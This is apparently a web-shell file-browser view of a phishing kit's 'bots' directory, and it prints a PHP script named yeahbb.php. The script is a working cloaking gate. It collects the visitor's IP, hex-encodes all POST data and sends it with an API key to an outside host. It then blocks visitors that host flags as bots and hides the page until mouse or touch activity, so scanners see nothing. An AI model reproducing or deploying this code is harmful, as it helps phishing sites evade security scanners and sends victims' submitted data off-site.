9B534B8686E580E0E01768F00155B461

at path：ROOT / att / bots / xbots / yeahbb.php

run：R W Run

anti.php

0 By

2022-01-02 07:21:24

R W Run

blacklist.dat

30.08 KB

2019-09-27 11:31:38

R W Run

bot.php

36.88 KB

2021-03-01 17:49:54

R W Run

cb70.ini

71 By

2021-12-24 03:29:04

R W Run

crawler.php

924 By

2021-04-02 02:07:36

R W Run

index.php

2 By

2021-11-29 11:37:10

R W Run

myz.php

739 By

2021-04-02 02:08:48

R W Run

yeahbb.php

2.41 KB

2021-12-25 22:28:20

R W Run

error_log

📄yeahbb.php

<?php @error_reporting(0);
if(count(get_included_files()) == 1){
header("HTTP/1.0 304 Not Modified");
die;
}
function BabushkaBoiIP() {
	    foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key)
	   	{
	       if (array_key_exists($key, $_SERVER) === true)
	       {
	            foreach (explode(',', $_SERVER[$key]) as $ipgrassjoss){
	                $ipgrassjoss = trim($ipgrassjoss);
	                if (filter_var($ipgrassjoss,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)!== false) 
	                {
	                   return $ipgrassjoss;
	                }
	            }
	        }
	    }
	}
$ipo = BabushkaBoiIP(); 
$tanitatikaram = parse_ini_file("cb70.ini", true);
$api=$tanitatikaram['apikey'];
$upd=$tanitatikaram['update'];
$mhook=$tanitatikaram['mhook'];
if($ipo == "") {
    }else{
		$isp = print_r($_POST, true);
		$isp = bin2hex($isp);
        $url = "".$upd."/check/?ip=$ipo&fingerprint=on&ispinfo=$isp&flags=b&api=$api";
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $json = curl_exec($ch);
        curl_close($ch);
		$result = json_decode($json);
		$a = $result->badbot;
        $b = $result->success;
		$c = $result->org;
		$d = $result->botcountry;
		if (strpos($b,'true') !== false) {
		if (strpos($a,'false') !== false) {
        }else if($isp == "blacklisted"){
		}else{
		header("HTTP/1.0 304 Not Modified");
		die;
		}}
    }
	
if ($mhook == '1') {	
echo "
<script>
window.addEventListener('load', function () {
	
document.getElementsByTagName('body')[0].style.display = 'none';
document.getElementsByTagName('div')[0].style.display = 'none';

window.onmousemove = function() {
document.getElementsByTagName('body')[0].style.display = '';
document.getElementsByTagName('div')[0].style.display = '';
}

window.addEventListener('touchmove', function() {
document.getElementsByTagName('body')[0].style.display = '';
document.getElementsByTagName('div')[0].style.display = '';
});

window.addEventListener('touchstart', function() {
document.getElementsByTagName('body')[0].style.display = '';
document.getElementsByTagName('div')[0].style.display = '';
});

})
</script>
";
}	
?>